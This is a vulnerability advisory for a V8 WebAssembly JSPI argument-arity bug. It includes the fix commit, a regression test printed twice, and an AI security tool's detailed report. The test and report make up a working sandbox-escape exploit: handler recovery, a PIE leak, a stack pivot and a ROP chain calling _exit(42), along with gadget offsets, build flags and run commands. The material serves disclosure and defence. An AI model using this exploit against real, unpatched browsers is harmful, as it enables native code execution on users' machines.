Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in V8
DescriptionOut of bounds read in V8
ComponentV8
Bug ClassOOB
Tracker534416978
Fix commit7f6e1abfad42 (v8/v8) +113/-3
CISA KEVNot listed
CreditedOpenAI Codex Security (amyb)
Disclosed2026-07-29

Files Changed

  • src/builtins/builtins-inl.h
  • src/builtins/builtins.cc
  • src/heap/factory.cc
  • test/mjsunit/sandbox/wasm-jspi-resume-arity.js
From 7f6e1abfad42b33b72cfa62edd3b7ef8fd4d5f92 Mon Sep 17 00:00:00 2001
From: Thibaud Michaud <thibaudm@chromium.org>
Date: Wed, 15 Jul 2026 17:06:10 +0200
Subject: [PATCH] [wasm][jspi][sandbox] Fix argument adaptation for WasmResume builtin

Set the formal parameter count of WasmResume to 1 and enable argument
adaptation (kAdapt) in SharedFunctionInfo creation.

This vulnerability allows a V8 sandbox escape. An attacker with
in-sandbox memory corruption capability can inspect a Promise object to
retrieve its internal fulfill handler (WasmResume JSFunction) and invoke
it directly with excess arguments. Previously, kDontAdapt with parameter
count 0 allowed passing extra arguments on the stack, bypassing parameter
popping on return in the WasmResume assembly builtin, resulting in stack
pointer misalignment, return address override, and arbitrary native code
execution (sandbox escape).

Also categorize kWasmResume and kWasmReject as kJSTrampoline so
JSDispatchTable compatibility verification succeeds under sandbox mode.

Fixed: 513144331

TAG=agy

Change-Id: I6846c144d32106f7d6f045af9d90b08144de9068
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8096849
Reviewed-by: Clemens Backes <clemensb@chromium.org>
Commit-Queue: Thibaud Michaud <thibaudm@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108668}
---

diff --git a/src/builtins/builtins-inl.h b/src/builtins/builtins-inl.h
index bc451e3..ab8b0d8 100644
--- a/src/builtins/builtins-inl.h
+++ b/src/builtins/builtins-inl.h
@@ -322,6 +322,8 @@
 #ifdef V8_ENABLE_WEBASSEMBLY
     case Builtin::kJSToWasmWrapper:
     case Builtin::kWasmPromising:
+    case Builtin::kWasmResume:
+    case Builtin::kWasmReject:
 #if V8_ENABLE_DRUMBRAKE
     case Builtin::kJSToWasmInterpreterWrapper:
 #endif
diff --git a/src/builtins/builtins.cc b/src/builtins/builtins.cc
index bce89f7..f407e2d 100644
--- a/src/builtins/builtins.cc
+++ b/src/builtins/builtins.cc
@@ -741,6 +741,8 @@
     // but are allowed to be installed into JSFunctions.
     case Builtin::kJSToWasmWrapper:
     case Builtin::kWasmPromising:
+    case Builtin::kWasmResume:
+    case Builtin::kWasmReject:
 #if V8_ENABLE_DRUMBRAKE
     case Builtin::kJSToWasmInterpreterWrapper:
 #endif
@@ -750,8 +752,6 @@
     // These are core JS builtins which are instantiated lazily.
     case Builtin::kWasmConstructorWrapper:
     case Builtin::kWasmMethodWrapper:
-    case Builtin::kWasmResume:
-    case Builtin::kWasmReject:
     // Well known import functions.
     case Builtin::kWebAssemblyStringCast:
     case Builtin::kWebAssemblyStringTest:
diff --git a/src/heap/factory.cc b/src/heap/factory.cc
index 4a90769..66368b0 100644
--- a/src/heap/factory.cc
+++ b/src/heap/factory.cc
@@ -2574,7 +2574,7 @@
 
 DirectHandle<SharedFunctionInfo> Factory::NewSharedFunctionInfoForWasmResume(
     DirectHandle<WasmResumeData> data) {
-  return NewSharedFunctionInfo({}, data, Builtin::kNoBuiltinId, 0, kDontAdapt);
+  return NewSharedFunctionInfo({}, data, Builtin::kNoBuiltinId, 1, kAdapt);
 }
 
 DirectHandle<SharedFunctionInfo>
diff --git a/test/mjsunit/sandbox/wasm-jspi-resume-arity.js b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js
new file mode 100644
index 0000000..2e25860
--- /dev/null
+++ b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+d8.file.execute('test/mjsunit/sandbox/wasm-jspi.js');
+
+const mem = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+
+let bp = [];
+function bsuspend() {
+  const p = new Promise(() => {});
+  bp.push(p);
+  return p;
+}
+const bb = new WasmModuleBuilder();
+const bimport = bb.addImport('m', 's', kSig_v_v);
+bb.addFunction('f', kSig_v_v)
+    .addBody([kExprCallFunction, bimport, kExprCallFunction, bimport])
+    .exportFunc();
+WebAssembly.promising(bb.instantiate({
+  m: {s: new WebAssembly.Suspending(bsuspend)}
+}).exports.f)();
+
+function get_resume(p) {
+  const p_ptr = getPtr(p);
+  const reaction = getField(p_ptr, kJSPromiseReactionsOrResultOffset);
+  return Sandbox.getObjectAt(
+      getField(reaction, kPromiseReactionFulfillHandlerOffset));
+}
+const resumeB = get_resume(bp[0]);
+
+let ap = [];
+function asuspend() {
+  const p = new Promise(() => {});
+  ap.push(p);
+  return p;
+}
+let carrier;
+let armed = false;
+function sink(x) {
+  if (!armed) return;
+  resumeB();
+  resumeB.call(carrier, x, x, x, x, x, x, x, x, x);
+}
+function warmSink(x) {}
+const ab = new WasmModuleBuilder();
+const aimport = ab.addImport('m', 's', kSig_r_v);
+const sinkImport = ab.addImport('m', 'i', kSig_v_r);
+const warmImport = ab.addImport('m', 'w', kSig_v_r);
+const keepSuspended = ab.addImport('m', 't', kSig_v_v);
+ab.addFunction('f', kSig_v_v)
+    .addBody([
+      kExprCallFunction, aimport,
+      kExprCallFunction, sinkImport,
+      kExprCallFunction, keepSuspended,
+    ])
+    .exportFunc();
+ab.addFunction('warm', makeSig([kWasmExternRef], []))
+    .addBody([kExprLocalGet, 0, kExprCallFunction, warmImport])
+    .exportFunc();
+const ai = ab.instantiate({m: {
+  s: new WebAssembly.Suspending(asuspend), i: sink,
+  w: warmSink,
+  t: new WebAssembly.Suspending(asuspend),
+}}).exports;
+
+const safe = {safe: true};
+for (let i = 0; i < 1001; ++i) ai.warm(safe);
+armed = true;
+
+WebAssembly.promising(ai.f)();
+const resumeA = get_resume(ap[0]);
+
+function stage(f, bad, values) {
+  const x = values[0];
+  if (bad) f(); else f(1);
+  return x;
+}
+function a(x) {} function b(x) {} function c(x) {}
+function d(x) {} function e(x) {}
+const targets = [a, b, c, d, e];
+const benign = new Float64Array(1);
+for (let i = 0; i < 1000; ++i) stage(targets[i % 5], !!(i & 1), benign);
+stage(a, false, benign);
+
+const names = Sandbox.getBuiltinNames();
+const pushCode = (Sandbox.getBuiltinCode(
+    names.indexOf('ArrayPrototypePush')) - 1) >>> 0;
+const pushEntry = mem.getBigUint64(pushCode + 24, true);
+const imageBase = pushEntry - 0x1bae300n;
+const popRdi = imageBase + 0x8206bcn;  // pop rdi; ret
+const exitPlt = imageBase + 0x2049720n;
+
+const backing = new Array(128).fill(1.1);
+const elements = Sandbox.readObjectField(backing, 'elements') >>> 0;
+carrier = Sandbox.getObjectAt(elements);
+const rop = getPtr(carrier);
+mem.setBigUint64(rop, popRdi, true);
+mem.setBigUint64(rop + 8, 42n, true);
+mem.setBigUint64(rop + 16, exitPlt, true);
+
+const raw = new BigUint64Array(1);
+const values = new Float64Array(raw.buffer);
+raw[0] = 0x414243444546n;
+stage(resumeA, true, values);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/sandbox/wasm-jspi-resume-arity.js b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js
new file mode 100644
index 0000000..2e25860
--- /dev/null
+++ b/test/mjsunit/sandbox/wasm-jspi-resume-arity.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+d8.file.execute('test/mjsunit/sandbox/wasm-jspi.js');
+
+const mem = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+
+let bp = [];
+function bsuspend() {
+  const p = new Promise(() => {});
+  bp.push(p);
+  return p;
+}
+const bb = new WasmModuleBuilder();
+const bimport = bb.addImport('m', 's', kSig_v_v);
+bb.addFunction('f', kSig_v_v)
+    .addBody([kExprCallFunction, bimport, kExprCallFunction, bimport])
+    .exportFunc();
+WebAssembly.promising(bb.instantiate({
+  m: {s: new WebAssembly.Suspending(bsuspend)}
+}).exports.f)();
+
+function get_resume(p) {
+  const p_ptr = getPtr(p);
+  const reaction = getField(p_ptr, kJSPromiseReactionsOrResultOffset);
+  return Sandbox.getObjectAt(
+      getField(reaction, kPromiseReactionFulfillHandlerOffset));
+}
+const resumeB = get_resume(bp[0]);
+
+let ap = [];
+function asuspend() {
+  const p = new Promise(() => {});
+  ap.push(p);
+  return p;
+}
+let carrier;
+let armed = false;
+function sink(x) {
+  if (!armed) return;
+  resumeB();
+  resumeB.call(carrier, x, x, x, x, x, x, x, x, x);
+}
+function warmSink(x) {}
+const ab = new WasmModuleBuilder();
+const aimport = ab.addImport('m', 's', kSig_r_v);
+const sinkImport = ab.addImport('m', 'i', kSig_v_r);
+const warmImport = ab.addImport('m', 'w', kSig_v_r);
+const keepSuspended = ab.addImport('m', 't', kSig_v_v);
+ab.addFunction('f', kSig_v_v)
+    .addBody([
+      kExprCallFunction, aimport,
+      kExprCallFunction, sinkImport,
+      kExprCallFunction, keepSuspended,
+    ])
+    .exportFunc();
+ab.addFunction('warm', makeSig([kWasmExternRef], []))
+    .addBody([kExprLocalGet, 0, kExprCallFunction, warmImport])
+    .exportFunc();
+const ai = ab.instantiate({m: {
+  s: new WebAssembly.Suspending(asuspend), i: sink,
+  w: warmSink,
+  t: new WebAssembly.Suspending(asuspend),
+}}).exports;
+
+const safe = {safe: true};
+for (let i = 0; i < 1001; ++i) ai.warm(safe);
+armed = true;
+
+WebAssembly.promising(ai.f)();
+const resumeA = get_resume(ap[0]);
+
+function stage(f, bad, values) {
+  const x = values[0];
+  if (bad) f(); else f(1);
+  return x;
+}
+function a(x) {} function b(x) {} function c(x) {}
+function d(x) {} function e(x) {}
+const targets = [a, b, c, d, e];
+const benign = new Float64Array(1);
+for (let i = 0; i < 1000; ++i) stage(targets[i % 5], !!(i & 1), benign);
+stage(a, false, benign);
+
+const names = Sandbox.getBuiltinNames();
+const pushCode = (Sandbox.getBuiltinCode(
+    names.indexOf('ArrayPrototypePush')) - 1) >>> 0;
+const pushEntry = mem.getBigUint64(pushCode + 24, true);
+const imageBase = pushEntry - 0x1bae300n;
+const popRdi = imageBase + 0x8206bcn;  // pop rdi; ret
+const exitPlt = imageBase + 0x2049720n;
+
+const backing = new Array(128).fill(1.1);
+const elements = Sandbox.readObjectField(backing, 'elements') >>> 0;
+carrier = Sandbox.getObjectAt(elements);
+const rop = getPtr(carrier);
+mem.setBigUint64(rop, popRdi, true);
+mem.setBigUint64(rop + 8, 42n, true);
+mem.setBigUint64(rop + 16, exitPlt, true);
+
+const raw = new BigUint64Array(1);
+const values = new Float64Array(raw.buffer);
+raw[0] = 0x414243444546n;
+stage(resumeA, true, values);
Loading diff…

Original Bug Report

reported by am...@openai.com

JSPI Wasm-Resume Fixed-Arity Assumption Enables Native ROP Outside the V8 Heap Sandbox

Security Report: JSPI Wasm-Resume Fixed-Arity Assumption Enables Native ROP Outside the V8 Heap Sandbox

Reporter: OpenAI Codex Security
Organization: OpenAI
Component: V8 JavaScript Engine (WebAssembly JavaScript Promise Integration / V8 heap sandbox)
Affected Area: WasmResume and WasmReject internal JS callbacks, JSPI stack switching, Wasm-to-JS import wrappers
Bug Class: Directly callable internal callback -> unchecked actual argc -> native stack OOB read and incorrect cleanup -> controlled RIP/RSP


Summary

JSPI represents a suspended WebAssembly continuation with a sandbox-resident JavaScript JSFunction. V8 installs that function as a Promise reaction handler and expects ordinary Promise processing to invoke it with exactly one argument: the fulfillment or rejection value.

This is not a valid security assumption after an attacker has arbitrary read/write inside the V8 pointer cage. The callback is itself a sandbox object, so caged read/write can recover the existing object from the pending Promise reaction and invoke it as a normal JavaScript function with any actual argument count. The supplied exploit uses --run-as-sandbox-security-poc only to model that prerequisite.

On x86-64, Generate_WasmResumeHelper reads and then discards the actual argument count. After switching to the suspended stack, it unconditionally loads the resolved value from the native stack slot for one argument. When the resumed continuation later suspends again, the helper also unconditionally returns with ret 16, removing exactly one receiver and one parameter.

Consequently:

zero parameters:
    the resolved value is read outside the actual argument vector

more than one parameter:
    the native stack is returned with an attacker-selected displacement

The exploit combines both effects. A zero-argument invocation loads an attacker-controlled full-width Float64 spill from an ordinary optimized JavaScript frame. A valid Wasm continuation carries that word through an externref import without truncating it. A second suspended continuation and an excess-argument invocation then make the word the native return address and pivot the process stack to an attacker-filled object inside the cage.

The final ROP chain invokes the process _exit@plt(42). This is native process control-flow execution outside the V8 heap sandbox.

A second PoC replaces only the transported ROP pivot with the literal 0x414243444546. The same JavaScript file produces an instruction-fetch fault at that address on both current main and the V8 revision shipped by Chrome Stable 150.0.7871.64. GDB independently confirms that rip equals the supplied literal. The debugger is only a register oracle and is not an exploit prerequisite.

Impact

An attacker with the standard V8 heap-sandbox threat-model prerequisite of arbitrary caged read/write can execute a chosen native ROP chain in the renderer process. The demonstrated chain controls RIP, RSP, and the first integer argument:

RIP = pop rsp; ret
RSP = attacker-filled in-cage object

ROP stack:
    pop rdi; ret
    42
    _exit@plt

The ROP PoC is attached as poc_jspi_rop_natural.js. Confirmed current-main output:

$ ./out/latest-main-api-release/d8 --run-as-sandbox-security-poc poc_jspi_rop_natural.js
entry 559d6d111300 base 559d6b563000 pivot 559d6bde83f1 exit 559d6d5ac720
$ echo $?
42

The exploit succeeded in 10/10 fresh processes with independent PIE addresses. A structurally identical correct-arity control exited normally with status zero.

The fixed-target control-flow PoC is attached as poc_jspi_rip_control.js. It differs from the full ROP PoC only in the final payload assignment:

raw[0] = 0x414243444546n;

Running it as an ordinary d8 process on both revisions terminates at the chosen target:

V8 main 3a805c109d1adcbde0ebc6e640d5f74d9ff86f03:
Received signal 11 SEGV_MAPERR 414243444546

Chrome 150.0.7871.64 / V8 15.0.245.13:
Received signal 11 SEGV_MAPERR 414243444546

GDB verification on each unmodified binary reports:

Thread 1 received signal SIGSEGV, Segmentation fault.
0x0000414243444546 in ?? ()
rip            0x414243444546      0x414243444546

The demonstrated impact is a V8 heap-sandbox bypass to native process code execution. This report does not claim a separate Chromium OS renderer-sandbox escape.

Root Cause (High Level)

The normal Promise path maintains this property:

WasmResume is invoked with exactly one value, and its fixed load and fixed
stack cleanup describe the actual call frame

The V8 sandbox boundary requires the stronger property:

For every attacker-selected actual argument count, WasmResume reads only an
argument that exists and removes the entire actual argument vector on return

The helper starts computing the dynamic count but explicitly abandons it. Neither the load nor the epilogue uses the actual value. Treating the callback as internal does not restore this invariant because its JSFunction and SharedFunctionInfo are sandbox-resident objects.

This is both a bounds error and a representation-boundary error. The zero-argument load copies an arbitrary native-stack word into the Wasm reference register. Downstream Wasm and Wasm-to-JS code legitimately assumes that register contains a valid tagged externref and preserves all 64 bits. The initial bad assumption therefore escapes the compressed-pointer representation before any ordinary JavaScript map check.

Affected Versions

Runtime exploitation was confirmed on current main:

V8 upstream main: 3a805c109d1adcbde0ebc6e640d5f74d9ff86f03
Commit-Position: refs/heads/main@{#108628}
Commit time: 2026-07-13
V8 version: 15.2.0 (candidate)
Architecture: x86-64 Linux
V8 sandbox and pointer compression: enabled
Release assertions: is_debug=false, dcheck_always_on=false
Runtime flags: --run-as-sandbox-security-poc only
Experimental Wasm flags: none
--allow-natives-syntax: not used
Tracked V8 source modifications: none
d8 SHA-256: 598c5fbef6f9cd66b18971e7d434de29e7a9c7acbdc89fae76b719daef3db749

The literal-RIP PoC was also tested, unchanged, against the exact V8 dependency revision from the current Chrome Stable 150 release family:

Chrome release: 150.0.7871.64
V8 revision: 968f19a8970f8d91702d86f0ec1522f3909781b7
V8 version: 15.0.245.13
Architecture: x86-64 Linux
V8 sandbox and pointer compression: enabled
Release assertions: is_debug=false, dcheck_always_on=false
Runtime flags: --run-as-sandbox-security-poc only
Experimental Wasm flags: none
--allow-natives-syntax: not used
Tracked V8 source modifications: none
d8 SHA-256: 14322d464981727af3574938777b40116d45eaa5fc4dfef08fdaec2c6ec68051

The source-level default-stable affected range is:

V8 13.7 through V8 15.0
Chrome 137 through Chrome 150

The official [wasm][jspi] Enable JSPI change marks JSPI as a shipped default feature in V8 13.7. Every official branch head from V8 13.7 through 15.0 contains both the fixed [rbp+24] load and fixed one-parameter cleanup. The V8 15.1 release branch and 15.2 main are also affected; 15.1 is not the current Chrome Stable line at the time of this analysis.

The release cutoff under the requested default-flags criterion is:

V8 10.5.218-12.5: current fixed-load/cleanup core, old experimental API; excluded
V8 12.6-13.6: current promising/Suspending API, jspi=false; excluded
V8 13.7-14.1: jspi=true by default; affected without a runtime flag
V8 14.2-15.0: feature flag removed; affected without a runtime flag

The exact default-enablement transition occurs between tags 13.7.117 and 13.7.118. Stable 13.7.152.* and all subsequent Stable release families are therefore in scope.

The affected helper pattern is also present in the architecture-specific implementations for ARM64 and other targets, but this report claims runtime exploitation only on x86-64.


Detailed Analysis

Introducing Commit and Stable Exposure

The original implementation landed, was reverted twice, and was finally re-landed permanently as:

https://github.com/v8/v8/commit/dfbe502810f5daeeb95a90df5b4f8f100a334693

dfbe502810f5daeeb95a90df5b4f8f100a334693
2022-02-02
Reland "Reland "[wasm] Resume suspender on resolved promise""
Cr-Commit-Position: refs/heads/main@{#78922}

That permanent re-land introduced the on-fulfilled JSFunction and the unconditional resolved-value load from [rbp+24]. The original a865d16bc276 change and the first f942f656dcfd re-land were reverted and are not ancestors of current main.

The on-rejected variant and shared Generate_WasmResumeHelper arrived in e35039e7736c. The exact current fixed cleanup was introduced by:

https://github.com/v8/v8/commit/3c984ee9ee4e24e3d144668e5bbcea5d021e502f

3c984ee9ee4e24e3d144668e5bbcea5d021e502f
2022-07-20
[wasm] Fix WasmResume return pop count
Cr-Commit-Position: refs/heads/main@{#81848}

It changed the prior erroneous ret 3 to ret(2 * kSystemPointerSize). The nominal path was corrected to remove one receiver and one parameter, but the implementation still did not validate or clean up the actual count. This is the first permanent commit containing the exact current dual-handler, fixed-load, and fixed-cleanup shape; the underlying invalid read originated in dfbe5028.

The current WebAssembly.promising / WebAssembly.Suspending API names were added in:

https://github.com/v8/v8/commit/63a58875aea33190ef982d254d10f5700463f49a

That change first appears in V8 12.6, while JSPI was still disabled by default.

The issue became default-reachable in Stable through:

https://github.com/v8/v8/commit/a5ab5aab6e609db421a29b7b9ce1b75f047ed28e

a5ab5aab6e609db421a29b7b9ce1b75f047ed28e
2025-04-15
[wasm][jspi] Enable JSPI
Cr-Commit-Position: refs/heads/main@{#99799}

This moved V(jspi, ..., false) to the shipped-feature list as V(jspi, ..., true) with the source comment Shipped in v13.7. V8 13.7 is therefore the first stable line in scope under default runtime behavior. 13.7.117 still has jspi=false; 13.7.118 is the first tag with jspi=true.

The flag was later removed completely by 613c0434032c in V8 14.2:

https://github.com/v8/v8/commit/613c0434032cb640a359f27a9212a69ca8908089

JSPI Creates the Resume Handler as a Sandbox-Resident JSFunction

Factory::NewWasmSuspenderObjectInitialized() creates a normal JSFunction whose shared information contains WasmResumeData:

https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/heap/factory.cc#L2294-L2318

DirectHandle<WasmResumeData> resume_data =
    NewWasmResumeData(suspender, wasm::OnResume::kContinue);
DirectHandle<SharedFunctionInfo> resume_sfi =
    NewSharedFunctionInfoForWasmResume(resume_data);
DirectHandle<JSObject> resume =
    Factory::JSFunctionBuilder{isolate(), resume_sfi, context}.Build();
...
suspender->set_resume(*resume);

The object is later installed as the on-fulfilled handler for the Promise returned by a suspending import. The memory-corruption API stage walks:

pending JSPromise -> PromiseReaction -> fulfill_handler JSFunction

This walk uses only offsets in the pointer-compression cage. It retrieves the real callback associated with the real active suspender; it does not forge a trusted suspender or corrupt a trusted-pointer-table entry.

The callback cannot be treated as unobservable or uncallable at this security boundary. Caged arbitrary read/write already permits discovering and gaining a JavaScript handle to sandbox objects.

WasmResume Discards the Dynamic Count

The current x86-64 helper obtains the actual JavaScript argument count from rax and decrements it to exclude the receiver:

https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/builtins/x64/builtins-x64.cc#L3940-L3953

Register param_count = rax;
__ decq(param_count);                    // Exclude receiver.
...
param_count = no_reg;

Assigning no_reg records that the register value has been intentionally discarded. The continuation switch proceeds without saving an argument count.

The resolved value is later loaded from a fixed native-stack slot:

https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/builtins/x64/builtins-x64.cc#L3994-L4000

// Move resolved value to return register.
__ movq(kReturnRegister0, Operand(rbp, 3 * kSystemPointerSize));

For a call with one actual parameter, this is the intended first parameter. For a call with no parameters, it is beyond the receiver and outside the actual argument vector.

Finally, if the resumed Wasm code suspends again, the callback returns to its attacker-controlled caller with a fixed cleanup:

https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/builtins/x64/builtins-x64.cc#L4015-L4021

__ LoadRoot(kReturnRegister0, RootIndex::kUndefinedValue);
__ LeaveFrame(StackFrame::WASM_JSPI);
// Pop receiver + parameter.
__ ret(2 * kSystemPointerSize);

The code never checks that one parameter exists and never removes parameters beyond the first. WasmReject is generated by the same helper and inherits the same arity assumption.

A Zero-Argument Call Imports a Raw Native-Stack Word into Wasm

The exploit warms the ordinary stage function using 1,000 benign calls. The default optimizing tier keeps values[0] live as an unboxed 64-bit Float64 across the unknown f() call:

function stage(f, bad, values) {
  const x = values[0];
  if (bad) f(); else f(1);
  return x;
}

Calling the recovered resume handler with zero parameters makes the fixed [rbp+24] load consume that live word. The explot sets the word to the complete 64-bit PIE-relative address of pop rsp; ret. It is not a compressed sandbox offset and its upper 32 bits are preserved.

The resumed target’s suspending import has an externref return type, so the invalid word continues as a Wasm reference. No pointer-table access or map load occurs at this point.

A Default Tiered Wasm-to-JS Wrapper Preserves the Full Word

Wasm-to-JS import wrappers begin in a generic builtin and tier up after the default 1,000-call budget:

https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/wasm/wasm-constants.h#L240

constexpr uint32_t kGenericWrapperBudget = 1000;

The cache key includes the canonical signature, call kind, expected arity, and suspend state. The exploit warms a separate benign non-suspending import with the same (externref) -> void signature and arity as sink. This compiles the shared wrapper without making sink hot.

In that compiled wrapper, ToJS returns an externref directly when the type does not use the Wasm-null representation:

https://github.com/v8/v8/blob/3a805c109d1adcbde0ebc6e640d5f74d9ff86f03/src/compiler/turboshaft/wasm-wrappers-inl.h#L163-L178

// At this point, we only have to process WasmNull.
// These two cases are never WasmNull.
if (!type.is_nullable()) return ret;
if (!type.use_wasm_null()) return ret;

That behavior is valid only while the Wasm reference register satisfies its representation contract. The arity bug violated the contract by loading raw native-stack data. The exploit’s JavaScript sink does not dereference or inspect the resulting argument; it forwards the word only as native call-stack data.

Fixed Cleanup Converts Excess Arguments into RIP and RSP Control

A second JSPI target executes two suspending imports in sequence. The first resumeB() call resumes the Wasm function and makes it suspend at the second import. The same suspender callback can then resume that continuation again.

The exploits’s second invocation is:

resumeB.call(carrier, x, x, x, x, x, x, x, x, x);

x is the raw 64-bit pivot address imported by the first target. carrier is a legitimate tagged pointer to attacker-filled sandbox memory. Because the callback removes only two native stack words, the excess argument vector is left in the surrounding native frame. When sink returns, its native return path consumes that vector as control data.

The resulting process state is:

RIP = x = pop rsp; ret
next stack word = carrier

The pivot sets rsp to carrier. The attacker has written the following native chain into that object with caged memory writes:

carrier + 0x00: pop rdi; ret
carrier + 0x08: 42
carrier + 0x10: _exit@plt

All target addresses include independent PIE upper bits and change on each process launch. Reaching status 42 therefore requires successful full-width transport, cleanup corruption, stack pivot, gadget execution, argument control, and an outer-process PLT call.

Exploitation Strategy

The exploit is a two-stage V8 sandbox escape:

stage 0:
    use --run-as-sandbox-security-poc to model arbitrary read/write inside
    the V8 pointer-compression cage

stage 1:
    convert that caged capability into native process ROP through default JSPI
    and default JIT behavior

Stage 1 performs:

1. Start two ordinary WebAssembly.promising calls with suspending imports.
2. Recover each real JSPI fulfillment JSFunction from a pending Promise.
3. Tier the normal (externref)->void Wasm-to-JS wrapper with 1,001 calls.
4. Leak ArrayPrototypePush's full code entry from its sandbox Code object.
5. Derive the exact-build PIE base and three code-reuse addresses.
6. Put pop-rdi, 42, and _exit@plt in a FixedDoubleArray-shaped carrier.
7. Keep the pivot address live as unboxed Float64 data across resumeA().
8. Let resumeA's fixed OOB load import it as an externref and forward it.
9. Invoke resumeB with excess arguments to shift the native return stack.
10. Pivot RSP to the carrier and execute _exit@plt(42).

No backing-store pointer is modified. No WebAssembly code-pointer-table or trusted-pointer-table entry is forged. No source logic change, logging patch, debugger, experimental feature, or native intrinsic is used.

Proof of Concept

Attach these two JavaScript files individually to the issue:

poc_jspi_rip_control.js   exact literal RIP proof, tested on main and Stable
poc_jspi_rop_natural.js   full native ROP proof, exits through _exit@plt(42)

No supporting archive or source modification is required. From a V8 checkout at 3a805c109d1adcbde0ebc6e640d5f74d9ff86f03, generate a release output:

gn gen out/jspi-arity --args='is_debug=false
dcheck_always_on=false
symbol_level=0
v8_enable_sandbox=true
v8_enable_memory_corruption_api=true'
autoninja -C out/jspi-arity d8

Run the exact-RIP variant:

d8 --run-as-sandbox-security-poc poc_jspi_rip_control.js

Expected crash address:

0x414243444546

Optional register verification uses GDB only as an observer:

gdb -q -batch \
  -ex 'handle SIGSEGV stop print nopass' \
  -ex run -ex 'info registers rip' --args \
  d8 --run-as-sandbox-security-poc poc_jspi_rip_control.js

Run the full ROP exploit from the V8 checkout root. Note that the ROP offsets may need to be corrected for the target binary.

d8 --run-as-sandbox-security-poc poc_jspi_rop_natural.js
echo $?

Expected exit status:

42

For the Stable test, check out 968f19a8970f8d91702d86f0ec1522f3909781b7, use the same GN arguments, and run poc_jspi_rip_control.js with only --run-as-sandbox-security-poc. This revision is the V8 dependency recorded by Chrome 150.0.7871.64.

The executable-layout constants in the full ROP PoC are:

Builtins_ArrayPrototypePush: 0x1bae300
pop rsp; ret:               0x8853f1
pop rdi; ret:               0x8206bc
_exit@plt:                   0x2049720

These constants are specific to the recorded current-main revision, GN arguments, and toolchain. They make ASLR resolution automatic for the full ROP exploit. A layout change requires updating those constants but does not alter the arity primitive.

Suggested Fix

The JSPI callback ABI must preserve and consume the actual JavaScript argument count. For every architecture:

  1. Save the actual count in protected native frame state or a non-clobbered register across the stack switch.
  2. If the callback has no actual parameter, provide undefined instead of loading past the argument vector. If at least one parameter exists, load the first parameter.
  3. On the suspend return path, discard the receiver and every actual parameter, not a fixed two words.
  4. Apply the same correction to both on-fulfilled and on-rejected variants.
  5. Add sandbox regression tests that recover each callback from a Promise and call it with zero, one, and several arguments from optimized and unoptimized callers.

The argument normalization and stack cleanup should follow the ordinary V8 JavaScript-call contract. Merely recording a formal arity of one is not enough; JavaScript callers can always supply a different actual arity.

The following changes are not sufficient by themselves:

  1. Relying on Promise internals to always supply one value.
  2. Hiding or relocating the callback while leaving it sandbox-resident.
  3. Adding validation only in the Wasm-to-JS externref wrapper.
  4. Hardening only the demonstrated gadgets or PIE leak.
  5. Fixing x86-64 without auditing the replicated architecture helpers.

Reporter

OpenAI Codex Security (amyb)

Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

View on issue tracker